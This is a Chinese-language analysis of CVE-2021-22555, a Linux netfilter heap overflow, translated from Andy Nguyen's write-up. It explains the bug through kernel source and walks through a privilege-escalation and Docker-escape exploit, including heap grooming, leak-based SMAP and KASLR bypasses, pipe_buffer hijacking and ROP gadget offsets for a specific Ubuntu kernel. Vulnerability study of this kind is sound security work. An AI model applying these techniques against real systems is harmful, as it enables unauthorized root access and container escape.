前言
这篇文章基本算是对作者Andy Nguyen文章的翻译,加上了一些自己的理解,希望能给大家带来一些帮助。
1.漏洞概述
项目 详情
名称 Linux内核堆越界写漏洞
简介 攻击者通过构造Exploit可实现本地提权
影响边界版本 Linux Kernel : v2.6.19-rc1 to v5.12-rc8
编号 CVE-2021-22555
2.漏洞环境
Ubuntu 20.04
Linux Kernel : 5.8.0-48-generic


3.漏洞原理分析
漏洞发生在net/netfilter/x_tables.c中的xt_compat_target_from_user函数内
void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
unsigned int *size)
{
const struct xt_target *target = t->u.kernel.target;
struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t;
int pad, off = xt_compat_target_offset(target);
u_int16_t tsize = ct->u.user.target_size;
char name[sizeof(t->u.user.name)];
t = *dstptr;
memcpy(t, ct, sizeof(*ct));
if (target->compat_from_user)
target->compat_from_user(t->data, ct->data);
else
memcpy(t->data, ct->data, tsize - sizeof(*ct));
pad = XT_ALIGN(target->targetsize) - target->targetsize;
if (pad > 0)
memset(t->data + target->targetsize, 0, pad);
tsize += off;
t->u.user.target_size = tsize;
strlcpy(name, target->name, sizeof(name));
module_put(target->me);
strncpy(t->u.user.name, name, sizeof(t->u.user.name));
*size += off;
*dstptr += tsize;
}
这一句 memset(t->data + target->targetsize, 0, pad); 中,target->targetsize的大小没有做校验,可能会导致对t->data越界写入0字节。
其中target->targetsize的大小不能直接控制,是和具体的target关联的,例如:
// net/netfilter/x_NFLOG.c
static struct xt_target nflog_tg_reg __read_mostly = {
.name = "NFLOG",
.revision = 0,
.family = NFPROTO_UNSPEC,
.checkentry = nflog_tg_check,
.destroy = nflog_tg_destroy,
.target = nflog_tg,
.targetsize = sizeof(struct xt_nflog_info),
.me = THIS_MODULE,
};
// net/netfilter/x_NFQUEUE.c
static struct xt_target nfqueue_tg_reg[] __read_mostly = {
{
.name = "NFQUEUE",
.family = NFPROTO_UNSPEC,
.target = nfqueue_tg,
.targetsize = sizeof(struct xt_NFQ_info),
.me = THIS_MODULE,
},
{
.name = "NFQUEUE",
.revision = 1,
.family = NFPROTO_UNSPEC,
.checkentry = nfqueue_tg_check,
.target = nfqueue_tg_v1,
.targetsize = sizeof(struct xt_NFQ_info_v1),
.me = THIS_MODULE,
},
{
.name = "NFQUEUE",
.revision = 2,
.family = NFPROTO_UNSPEC,
.checkentry = nfqueue_tg_check,
.target = nfqueue_tg_v2,
.targetsize = sizeof(struct xt_NFQ_info_v2),
.me = THIS_MODULE,
},
{
.name = "NFQUEUE",
.revision = 3,
.family = NFPROTO_UNSPEC,
.checkentry = nfqueue_tg_check,
.target = nfqueue_tg_v3,
.targetsize = sizeof(struct xt_NFQ_info_v3),
.me = THIS_MODULE,
},
};
然后t->data是从系统堆中利用函数xt_alloc_table_info分配而来的
// net/netfilter/x_tables.c
struct xt_table_info *xt_alloc_table_info(unsigned int size)
{
struct xt_table_info *info = NULL;
size_t sz = sizeof(*info) + size;
if (sz < sizeof(*info) || sz >= XT_MAX_TABLE_SIZE)
return NULL;
info = kvmalloc(sz, GFP_KERNEL_ACCOUNT);
if (!info)
return NULL;
memset(info, 0, sizeof(*info));
info->size = size;
return info;
}
而t->data的size是用户可控的,例如以下其中一个调用xt_alloc_table_info的地方
static int
compat_do_replace(struct net *net, void __user *user, unsigned int len)
{
int ret;
struct compat_ipt_replace tmp;
struct xt_table_info *newinfo;
void *loc_cpu_entry;
struct ipt_entry *iter;
if (copy_from_user(&tmp, user, sizeof(tmp)) != 0) //size是用户可控的
return -EFAULT;
/* overflow check */
if (tmp.num_counters >= INT_MAX / sizeof(struct xt_counters))
return -ENOMEM;
if (tmp.num_counters == 0)
return -EINVAL;
tmp.name[sizeof(tmp.name)-1] = 0;
newinfo = xt_alloc_table_info(tmp.size); //size是用户可控的
......
}
t->data怎么指向堆块的末尾呢
static void
compat_copy_entry_from_user(struct compat_ipt_entry *e, void **dstptr,
unsigned int *size,
struct xt_table_info *newinfo, unsigned char *base)
{
struct xt_entry_target *t;
struct ipt_entry *de;
unsigned int origsize;
int h;
struct xt_entry_match *ematch;
origsize = *size;
de = *dstptr;
memcpy(de, e, sizeof(struct ipt_entry));
memcpy(&de->counters, &e->counters, sizeof(e->counters));
*dstptr += sizeof(struct ipt_entry);
*size += sizeof(struct ipt_entry) - sizeof(struct compat_ipt_entry);
xt_ematch_foreach(ematch, e)
xt_compat_match_from_user(ematch, dstptr, size);
de->target_offset = e->target_offset - (origsize - *size);
t = compat_ipt_get_target(e);
xt_compat_target_from_user(t, dstptr, size);
de->next_offset = e->next_offset - (origsize - *size);
for (h = 0; h < NF_INET_NUMHOOKS; h++) {
if ((unsigned char *)de - base < newinfo->hook_entry[h])
newinfo->hook_entry[h] -= origsize - *size;
if ((unsigned char *)de - base < newinfo->underflow[h])
newinfo->underflow[h] -= origsize - *size;
}
}
从上面的代码可以看到:
首先*dstptr += sizeof(struct ipt_entry)这一段代码会将t->data稍微朝堆块末尾靠近
之后会调用xt_compat_match_from_user(ematch, dstptr, size);
void xt_compat_match_from_user(struct xt_entry_match *m, void **dstptr,
unsigned int *size)
{
const struct xt_match *match = m->u.kernel.match;
struct compat_xt_entry_match *cm = (struct compat_xt_entry_match *)m;
int pad, off = xt_compat_match_offset(match);
u_int16_t msize = cm->u.user.match_size;
char name[sizeof(m->u.user.name)];
m = *dstptr;
memcpy(m, cm, sizeof(*cm));
if (match->compat_from_user)
match->compat_from_user(m->data, cm->data);
else
memcpy(m->data, cm->data, msize - sizeof(*cm));
pad = XT_ALIGN(match->matchsize) - match->matchsize;
if (pad > 0)
memset(m->data + match->matchsize, 0, pad);
msize += off;
m->u.user.match_size = msize;
strlcpy(name, match->name, sizeof(name));
module_put(match->me);
strncpy(m->u.user.name, name, sizeof(m->u.user.name));
*size += off;
*dstptr += msize;
}
xt_compat_match_from_user函数内部也会用*dstptr += msize;这一段代码将t->data稍微朝堆块末尾靠近,而msize是可以通过在用户层精心构造数据来控制的。
所以可以将t->data指向堆块末尾,之后就可以利用越界写漏洞写到下一个堆块内容。
4.漏洞利用
4.1 struct msg_msg
结构体struct msg_msg的第一个成员struct list_head m_list; 代表的是当前struct msg_msg结构体上一个和下一个struct msg_msg结构体,如下
// include/linux/msg.h
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
// include/linux/types.h
struct list_head {
struct list_head *next, *prev;
};
// ipc/msgutil.c
struct msg_msgseg {
struct msg_msgseg *next;
/* the next part of the message follows immediately */
};
struct msg_msg 由 ipc/msgutil.c中的msgsnd系统调调用进行分配
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;
alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)
return NULL;
msg->next = NULL;
msg->security = NULL;
len -= alen;
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;
cond_resched();
alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}
return msg;
out_err:
free_msg(msg);
return NULL;
}
len就是struct msg_msg的数据大小
4.2 制造UAF
首先,使用 msgget() 初始化了很多消息队列。
然后,使用msgsnd() 为每个消息队列发送一条大小为 4096的消息。
最终,在发送大量消息之后,这样消息队列中的一些struct msg_msg结构体在堆块中是连续的:

接下来,使用msgsnd为每个消息队列发送一条大小为 1024的消息,这条1024大小的消息会链在4096大小的消息中,保存在 struct msg_msg 的成员 struct list_head m_list 中

之后调用msgrcv 将一部分 4096的消息读取,这样就会释放他们占用的struct msg_msg结构体堆块

最后,调用xt_alloc_table_info函数将上一步被释放的4096堆块申请回来。
理想情况是我们用xt_alloc_table_info申请回来的4096堆块下方有一块没有被释放的struct msg_msg结构体 A ,这样就可以利用越界写漏洞将struct msg_msg A指向下一个结构体成员m_list.next最后几个字节覆盖为0

这样会有几率出现一种情况,有两个4096的struct msg_msg结构体指向同一个1024的struct msg_msg B,这个1024的struct msg_msg B地址最后几个字节为0.
这样一来,释放完1024的struct msg_msg B,它还会在另一个4096的struct msg_msg结构体存在引用,就完成了制造UAF。

怎么确认哪个struct msg_msg B被双重引用了呢?
作者Andy Nguyen是这样做的:
在发生消息的时候,往消息里带一些特征,比如第一个消息带数字1,比如第4096个消息带数字4096。
在越界写漏洞发生后,遍历每一个消息队列,如果第index个消息队列里的struct msg_msg B带的特征不是index,就说明它不属于这个消息队列,意味着它是被双重引用了。
4.3 绕过SMAP
现在struct msg_msg B被双重引用了,先利用它的一个引用将struct msg_msg B释放,另一个引用struct msg_msg B的地方依然可控。
现在利用socketpair函数进行堆喷,喷射大量大小为 1024 的消息并制造一个fake struct msg_msg结构体。理想情况下,我们能够收回被释放struct msg_msg B堆块
需要利用这个fake struct msg_msg来泄露fake struct msg_msg的堆地址,以便在之后布置rop链时可以知道我们rop链所在的内核堆地址,这可以帮助我们绕过SMAP.
具体来说,fake struct msg_msg的内容我们完全可控,可以利用copy_msg函数进行数据泄露
// ipc/msgutil.c
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
struct msg_msgseg *dst_pseg, *src_pseg;
size_t len = src->m_ts;
size_t alen;
if (src->m_ts > dst->m_ts)
return ERR_PTR(-EINVAL);
alen = min(len, DATALEN_MSG);
memcpy(dst + 1, src + 1, alen);
...
return dst;
}
fake struct msg_msg实际的堆块大小是1024,现在我们可以设置fake struct msg_msg的结构体成员m_ts大于DATALEN_MSG(4096 - sizeof(struct msg_msg)),这样一来调用copy_msg函数的时候,会将DATALEN_MSG大小的数据返回用户层。
意味着我们可以将fake struct msg_msg后面的堆块数据泄露。
fake struct msg_msg后面的堆块是一个相邻的1024大小的struct msg_msg C,struct msg_msg C的m_list.next指向与它在同一消息队列的4096大小的struct msg_msg D;

在越界读取了struct msg_msg D地址之后,将fake struct msg_msg 的m_list.next通过再释放再堆喷设置为struct msg_msg D;
之后通过struct msg_msg D读取struct msg_msg D的m_list.next;
struct msg_msg D的m_list.next执行一个1024的struct msg_msg C;
现在可以利用泄露的struct msg_msg C的地址计算出fake struct msg_msg的堆地址。
我们知道了它的内核堆地址,之后就可以计算出我们rop链所在的内核堆地址,就可以绕过SMAP了。
4.4 升级UAF
在利用消息队列释放struct msg_msg结构体时,需要保证mlist成员的值是合法的,这存在很大的限制,不能释放任意对象。
现在我们有两个引用指向fake struct msg_msg,一个是消息队列,一个是socketpair函数堆喷的对象sk_buff。
上面说过利用利用消息队列释放堆块存在限制,而利用sk_buff对象释放则不存在限制,而我们之前是用sk_buff对象来释放,消息队列来使用,现在我们需要转变一下,用消息队列来释放,sk_buff对象来使用。
首先利用已经泄露的堆地址将fake struct msg_msg的mlist成员指向自己,这样就可以利用消息队列来释放fake struct msg_msg,之后sk_buff对象会保留一份fake struct msg_msg堆块的引用。

这个堆块到这里就和struct msg_msg没有关系了,给它改名为1024 Heap_A。

4.5 一个带有函数指针的对象
根据上面的步骤一路走来,我们现在有一个socketpair函数分配的sk_buff对象可以引用一个被释放的大小为1024的堆块Heap_A。我们现在需要找到一个1024大小的结构体里面有函数指针,这样可以在之后泄露函数指针计算kernel base,进一步覆盖函数指针控制RIP.
作者Andy Nguyen使用的结构体是struct pipe_buffer
// include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
struct pipe_buf_operations {
...
/*
* When the contents of this pipe buffer has been completely
* consumed by a reader, ->release() is called.
*/
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
...
};
这个结构体的大小正是1024,可以看到它的成员中有一个const struct pipe_buf_operations *ops,这是一个指向函数指针列表的对象指针,满足条件。
struct pipe_buffer是由pipe()函数进行分配的,pipe()内部会调用有alloc_pipe_info()函数
// fs/pipe.c
struct pipe_inode_info *alloc_pipe_info(void)
{
...
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
...
pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
if (pipe == NULL)
goto out_free_uid;
...
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
...
}
4.6 绕过KASLR
在调用函数pipe()申请struct pipe_buffer时,内核代码会自动将struct pipe_buffer的成员const struct pipe_buf_operations *ops初始化为以下结构
// fs/pipe.c
static const struct pipe_buf_operations anon_pipe_buf_ops = {
.release = anon_pipe_buf_release,
.try_steal = anon_pipe_buf_try_steal,
.get = generic_pipe_buf_get,
};
这个结构是全局变量,保存在内核的.data段,因为.data和.text段之间的偏移固定,我们可以通过泄露.data段的地址进而计算.text及内核程序代码基地址。
首先调用大量pipe()函数将空闲的大小为1024的堆块Heap_A申请回来,内核会初始化struct pipe_buffer的成员const struct pipe_buf_operations *ops为anon_pipe_buf_ops;

4.7 绕过SMEP以及权限提升
现在万事大吉,开始控制程序执行流。
利用socketpair函数将Heap_A堆块即struct pipe_buffer的成员const struct pipe_buf_operations *ops修改为一个我们内容可控的内核堆地址,ops中有一个名为release的函数,它会在pipe关闭时调用,我们将它覆盖为rop链的初始gadget.
在一个我们内容可控的内核堆地址上面布置rop链,rop链实现的功能即关闭SMEP以及调用commit_creds(prepare_kernel_cred(0))进行提权。
最后关闭pipe触发release。

一个我们内容可控的内核堆地址:在之前的布置里我们已经泄露出了内核堆地址即Heap_A的地址,Heap_A有1024大小,我们可以在适当的地方放置假的ops和布置rop链。
4.8 容器逃逸
4.8.1 环境搭建
Ubuntu 20.10
内核版本 : 5.8.0-48-generic
Docker : 20.10.7
可通过以下命令安装内核:
sudo apt-get install linux-image-5.8.0-48-generic
Linux内核调试环境搭建以及最新版Docker安装可参考历史文章:
利用Linux内核漏洞实现Docker逃逸
通过以下命令新建并启动容器
docker run -it --cap-add NET_ADMIN --name=docker_escape ubuntu:latest /bin/bash
这里需要添加NET_ADMIN权限,不然无法进入漏洞代码。
4.8.2 EXP适配
作者Andy Nguyen提供的exp在本环境下并不能直接提权成功,需要适配相关ROP链,这里给出部分代码
#elif KERNEL_UBUNTU_5_8_0_48_Ubuntu_20_10
// 0xffffffff8171562f : push rsi ; jmp qword ptr [rsi + 0x39]
#define PUSH_RSI_JMP_QWORD_PTR_RSI_39 0x71562f
// 0xffffffff811bbf3e : pop rsp ; ret
#define POP_RSP_RET 0x1bbf3e
// 0xffffffff81070789 : add rsp, 0xd0 ; ret
#define ADD_RSP_D0_RET 0x70789
// 0xffffffff811a9910 : enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret
#define ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET 0x1a9910
// 0xffffffff81088773 : mov qword ptr [r12], rbx ; pop rbx ; pop r12 ; pop rbp ; ret
#define MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET 0x88773
// 0xffffffff816d302f : push qword ptr [rbp + 0xa] ; pop rbp ; ret
#define PUSH_QWORD_PTR_RBP_A_POP_RBP_RET 0x6d302f
// 0xffffffff8108ce7c : mov rsp, rbp ; pop rbp ; ret
#define MOV_RSP_RBP_POP_RBP_RET 0x8ce7c
// 0xffffffff811c2b83 : pop rcx ; ret
#define POP_RCX_RET 0x1c2b83
// 0xffffffff811038ee : pop rsi ; ret
#define POP_RSI_RET 0x1038ee
// 0xffffffff8107fe3d : pop rdi ; ret
#define POP_RDI_RET 0x7fe3d
// 0xffffffff810005c7 : pop rbp ; ret
#define POP_RBP_RET 0x5c7
// 0xffffffff815785b7 : mov rdi, rax ; jne 0xffffffff815785a4 ; xor eax, eax ; ret
#define MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET 0x5785b7
// 0xffffffff810757ab : cmp rcx, 4 ; jne 0xffffffff81075789 ; pop rbp ; ret
#define CMP_RCX_4_JNE_POP_RBP_RET 0x757ab
#define FIND_TASK_BY_VPID 0xc3910
#define SWITCH_TASK_NAMESPACES 0xcb860
#define COMMIT_CREDS 0xccd70
#define PREPARE_KERNEL_CRED 0xccfd0
#define INIT_NSPROXY 0x1a63080
#define ANON_PIPE_BUF_OPS 0x105ec80
适配成功后可提权成功

4.8.3 Docker容器逃逸
从作者Andy Nguyen的视频可以得知,原EXP在Container-Optimized OS 5.4.89 系统上可容器逃逸成功。
在本文中的环境下容器逃逸失败

所以需要在作者的EXP基础上进行修改,适配本文的环境
鉴于新版本的Linux内核不能直接修改CR4寄存器绕过SMAP,SMEP,所以我们利用rop链替换fs_struct结构和namespace。
最终实现容器逃逸:

5.参考链接
https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html CVE-2021-22555:将 \x00\x00 变成 $10000
https://blog.csdn.net/guoping16/article/details/6584024 消息队列函数(msgget、msgctl、msgsnd、msgrcv)及其范例